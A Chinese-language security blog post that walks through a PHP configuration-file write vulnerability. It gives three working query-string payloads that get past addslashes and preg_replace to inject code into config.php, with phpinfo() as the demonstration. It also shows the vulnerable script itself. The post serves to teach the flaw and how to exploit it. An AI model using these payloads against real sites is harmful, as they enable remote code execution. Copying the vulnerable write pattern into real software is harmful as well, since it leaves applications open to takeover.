Php写入配置文件的经典漏洞

wonderkun / 2017-03-20 08:33:51 / 浏览数 3881

---

phithon师父在小蜜圈里放了一个经典的配置文件写入问题漏洞.

```
<?php
if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);
```

config.php 的内容如下:

```
<?php
$option='test';
```

要求是要getshell,这个场景十分经典，常用在修改配置文件写入的时候。
此处不存在之前说的那个配置文件中用的是"双引号"引起任意代码执行的问题,这这里面用的是单引号,而且
addslashes()处理过了,看似很安全,但是对于脑子里有个黑洞的搞安全的人来讲,这个还真是有问题的.

方法一,利用换行符来绕过正则匹配的问题

可以看到正则匹配的是以下内容:

```
$option='■■■■'
```

任意内容里面是可以包含转移符 \ 的,所以我们利用下面的方法:

```
http://127.0.0.1/index.php?option=a';%0aphpinfo();//
http://127.0.0.1/index.php?option=a
```

执行完第一个之后,config.php中的内容为:

```
<?php
$option='a\';
phpinfo();//';
```

但是这样并没有办法执行phpinfo(),因为我们插入的 单引号 被转移掉了,所以phpinfo()还是在单引号的包裹之内.
我们在访问下面这个

```
http://127.0.0.1/index.php?option=a
```

因为正则 .* 会匹配行内的任意字符无数次.所以 \ 也被认为是其中的一部分,也会被替换掉,执行完之后,config.php中的内容为:

```
<?php
$option='a';
phpinfo();//';
```

转义符就被替换掉了,就成功的getshell.

方法二,利用 preg_replace函数的问题:

用preg_replace()的时候replacement(第二个参数)也要经过正则引擎处理，所以正则引擎把\\转义成了\
也就是说如果字符串是\\\',经过 preg_replace()的处理,就变为 \\',单引号就逃出来了.
所以payload如下:

```
http://127.0.0.1/index.php?option=a\';phpinfo();//
```

config.php变为:

```
<?php
$option='a\\';phpinfo();//';
```

道理就是 a\';phpinfo();// 经过 addslashes()处理之后,变为a\\\';phpinfo();//
然后两个反斜杠被preg_replace变成了一个,导致单引号逃脱.

方法三, 利用 preg_replace() 函数的第二个参数的问题

先看官方对preg_replace()函数的描述manual
函数原型:

```
xed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
```

对replacement的描述.
replacement中可以包含后向引用\\n 或(php 4.0.4以上可用)$n，语法上首选后者。 每个 这样的引用将被匹配到的第n个捕获子组捕获到的文本替换。 n 可以是0-99，\\0和$0代表完整的模式匹配文本。

所以我们可以用:

```
http://127.0.0.1/test/ph.php?option=;phpinfo();
http://127.0.0.1/test/ph.php?option= ■■ http://127.0.0.1/test/ph.php?option=$0
```

执行第一条后config.php的内容为:

```
<?php
$option=';phpinfo();';
```

再执行第二条后config.php的内容为:

```
<?php
$option='$option=';phpinfo();';';
```

刚好闭合掉了前后的两个单引号中间的逃脱出来了.想出这个办法的人,思路真是可以的.

上一篇：Struts2漏洞利用原理及OGN... 下一篇：跨域方法总结
1. 0 条回复
   - 动动手指，沙发就是你的了！